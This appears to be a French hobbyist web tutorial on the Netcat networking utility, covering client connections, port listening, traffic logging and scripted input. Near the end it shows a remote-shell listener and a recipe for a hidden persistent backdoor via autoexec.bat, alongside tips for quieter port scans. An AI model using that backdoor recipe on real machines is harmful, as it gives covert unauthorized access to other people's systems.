Chargement de la page en cours... 


Page Perso

NETCAT NETCAT  :

 
Qu'est-ce que Netcat ? C'est un petit utilitaire en ligne de commandes, qui permet de gérer les sockets (connexions réseaux), c'est-à-dire qu'il est capable d'établir n'importe qu'elle connexion à un seveur, un choisissant le port, l'IP, etc. De plus, ces sources sont disponibles, aussi bien pour sa version Linux que Windows (si, si, c'est vrai !). Petit tour d'horizon des possibilités offertes par cette petite merveille...

 
Avant de commencer nos petits exercices, il est fortement conseillé de placer netcat dans le répertoire de commande de votre OS. Cela permettra de lancer netcat directement depuis la console, sans être obligé de vous replacez dans le bon répertoire à chaque fois. Si vous êtes sous Windows, ouvrez une invite MS-DOS, tapez "path", et vous verrez la liste des répertoires de commandes. Placez Netcat dans l'un d'eux. Notez que vous pouvez également ajouter le répertoire de Netcat à la liste des répertoires de commandes. Pour se faire, reportez-vous à la section konsole/ms-dos du site. Faites également attention au nom de l'éxécutable. C'es ce dernier que vous devrez ensuite utiliser pour appeler netcat. Le plus souvent, il sera nommé "nc", et cette dénomination qui sera utilisée dans ce tutorial. Mais il se peut que l'éxécutable soit appelé "netcat". Si c'est le cas, vous devez simplement taper netcat au lieu de nc dans toutes les lignes de commandes décrites ci-dessous. Enfin, il est conseillé de lancer netcat à partir d'une console, et non directement. Cela évitera à la fenêtre de se fermer automatiquement à chaque interruption. Pour interrompre netcat, que ce soit pour couper une connexion, stopper une écoute, il suffit de taper Ctrl+C.

 
Bon, normalement, on devrait pouvoir commencer. Comme il a été dit plus haut, Netcat ne fait que gérer des connexions. Cela signifie qu'il ne connait aucun protocole, et que par conséquent, toutes les négociations durant une connexion sera reporté par Netcat. Vous allez donc voir se qui se passe exactement. Pour établir une connexion simple avec un serveur, il vous suffit de taper la commance suivante :
nc IP_du_serveur port : par exemple nc 127.0.0.1 21 pour vous connecter sur votre port 21

 
Mais étant donné que Netcat ne connait aucun protocole, cela sera à vous de les respecter lors de votre requête.
 


 

Que s'est-il-passé ? Nous nous sommes connecté au port 80 du serveur principal de wanadoo, et nous avons envoyé une requête (ici "test"), à travers le socket. Mais la requête en question ne faisant pas partie du protocole à respecter lors de la connexion (ici HTTP, puisque port 80), le serveur a coupé la connexion. Pourtant, la réponse du seveur offre quelques renseignements intéressants. On y voit le type de code (html => page Web), et le "Method Not Implemented" nous indique que nous sommes en présence de la page d'erreur 501.

 
Netcat permet aussi de gérer les connexions telnet, en remplacement du traditionnel Telnet de Windows. L'interêt ? Une transparence totale de la connexion. De plus, le client telnet de windows peut se révéler un peu trop bavard sur son utilisateur...Mais cela implique que vous connaissiez le protocole à respecter lors de la connexion.

 
Une dernière particularité de Netcat en mode client est qu'il permet d'effectuer un scan de port. Pour se faire, il suffit d'utiliser l'option -v, ou -vv si vous souhaitez obtenir des information supllémentaires sur les résultats du scan. Par exemple, la commande nc -vv 127.0.0.1 1-65535 va effectuer un scan détaillé de vos ports 1 à 65535 (c'est-à-dire tous). Mais vous remarquerez que Netcat effectue ce scan en testant les ports un par un, par ordre décroissant. Par très discret non ? Pour éviter cela, l'utilisation de l'option -r permet de scanncer les ports aléatoirement. Par contre, dès que Netcat trouve un port ouvert, il arrête son scan. Pas super pratique n'est-ce pas ? Pour forcer netcat à scanner la totalité des ports demandés, i lexiste l'option -z. Il est également possible de définir la durée entre le scan de chaque port, grâce à l'option -i suivie du délai souhaité, en milli-secondes. Enfin, pour scanner plusieurs pages de ports, il suffit de les séparer par un espace. Exemple :
nc -vv -i 3000 -r -z serveur_cible 21 23 80-160 12345 : Cette commande va effectuer le scan détaillé des ports 21, 23, 80 à 160 et 12345 du serveur_cible, dans un ordre aléatoire, avec un intervalle de 3 secondes entre chaque scan.
 
Un dernier point sur le mode scan de Netcat : l'utilisation du protocole UDP au lieu de TCP, ce qui permet de scanner des ports dont les applications utilisent le protocole UDP. Pour utiliser UDP, il suffit de rajouter l'option -u dans votre ligne de commande.

Mais Netcat peut aussi fonctionner en mode serveur...

 
En effet, Netcat peut vous permettre de mettre un port de votre machine en écoute, c'est-à-dire un attente d'un connexion. Pour mettre un port en écoute, il suffit de taper la commande suivante :
 
nc -l -p numéro_du_port
Cette commande a pour effet de placer le port spécifié en attente d'une connexion extérieure. Lorsque que netcat recevra une demande de connexion sur ce port, il ouvrira alors un socket entre ce port et le port distant. Lorsque l'hôte distant coupera la connexion, Netcat stoppera l'écoute sur le port. Pour forcer Netcat à rester en écoute après la déconnexion, utilisez l'option -L à la place de -l. Petit exemple : Placez votre port 80 en écoute en tapant "nc -l -p 80" dans votre invite MS-DOS, ouvrez votre browser internet, et connectez-vous à l'adresse 127.0.0.1. Regardez ensuite votre invite MS-DOS.

 
Penchons-nous un peu sur les informations reçues par Netcat (donc envoyé par votre browser). Rien ne vous surprend ? Juste en se connectant sur un serveur, votre browser a donné comme information son nom et sa version (MSIE 6.0), l'OS sur lequel il tourne (Windows NT 5.1),l'IP de votre machine (127.0.0.1 ici, nous sommes en local), la langue utilisée (donc le pays). Pas très discret tout ça ! Vous voyez, quand on vous dit que Microsoft vous cache des choses...

 
Une autre particularité de Netcat est le fait qu'il permet d'enregistrer toutes les informations dans un fichier. Par exemple, si vous répétez la manip précédente, mais avec la ligne de commande suivante : "nc -l -p 80>trafic.log", toutes les informations reçues tout à l'heure par Netcat seront enregistrés dans le fichier trafic.log, qui sera créé par Netcat dans le répertoire dans lequel il se trouve. Il est également possible d'enregistrer le trafic sous forme héxadécimal. Pour cela, il suffit d'utiliser l'option "-o trafic.log" à la place de ">trafic.log"
 
Il est également possible d'utiliser des fichiers extérieurs dans l'autre sens, c'est-à-dire d'utiliser un fichier pour "automatiser" Netcat. En effet, plutôt que de donner à Netctat les commandes à effectuer une par une, il est possible d'enregistrer ces commandes dans un fichier, puis de demander à Netcat d'aller les chercher dans ce fichier. Par exemple, crééz un fichier nommé test.txt, dans lequel vous écrivez "hello". Notez que le fichier doit être placé dans le même répertoire que celui où votre console indique être. Ensuite, placez un port en écoute, puis , dans une seconde console, tapez la commande suivante:
 
"nc 127.0.0.1 numéro_du_port< test.txt"
Retournez dans la première, et vous verrez que Netcat a bien reçu hello de la part de la seconde console. Il est donc possible d'automatiser le fonctionnement de Netcat en créant des fichiers de commances respectant les protocoles utilisés. l'utilisation d'un fichier de commande peut se faire aussi bien en mode serveur qu'en mode client. Dans les deux cas, Netcat ira chercher dans le fichier les requêtes et/ou commandes à envoyer à travers le socket. Ah oui, une dernière chose : Vous pouvez également combiner l'option de minuterie pour régler le temps que Netcat mettra entre l'envoi de chaque requête.

 
Enfin, nous allons voir une fonction très intéressante de ce petit bijou qu'est Netcat, le fait de pouvoir rediriger le socket vers un programme. Explication. Grâce à Netcat, vous pouvez faire en sorte que la connexion à travers un socket aboutisse au lancement d'un programme. Exemple :
 
nc -L -p 23 -e cmd.exe
L'option "-e cmd.exe" va permettre de rediriger une connexion sur le port 23 (Telnet), vers l'invite de commande Ms-Dos. Vous voulez vérifiez ? Ouvrez votre client telnet, connectez-vous sur 127.0.0.1, et vous devriez voir l'invite de commande dans votre fenêtre Telnet. Cette option peut se révéler très utile pour effectuer de la maintenance à distance sur une machine, mais aussi pour installer une BackDoor. Comment ? Eh bien il suffit de placer la commande "nc -L -d -p 666 -e cmd.exe" dans le fichier autoexec.bat. Ainsi, à chaque démarrage, Netcat va placer, très discretement (cf. explication de l'option -d ci-dessous), le port 666 de la machine en écoute, et redirigez toute connexion sur ce port vers l'invite de commance. Il ne vous restera plus qu'à vous y connecter depuis chez vous pour disposer d'un shell sur la machine.

 
Vous l'aurez compris, l'utilité de Netcat n'a pour limite que votre imagination. Vous pouvez grâce à lui créer des exploits, mettre en place des Honey Pots, établir n'importe quelle connexion, scanner, etc...Soyez imaginatifs !

Diverses options :

-d: Permet de fermer la console, tout en laissant Netcat actif.
-h: Affiche la liste des options disponibles et leur signification.
-w durée_en_secondes: Permet de spécifier la durée pendant laquelle Netcat doit rester connecté au serveur distant.
-g nombre_de_sauts: Spécifie le nombre de routages maximum que doit subir le socket.

☠°FANTOM°☠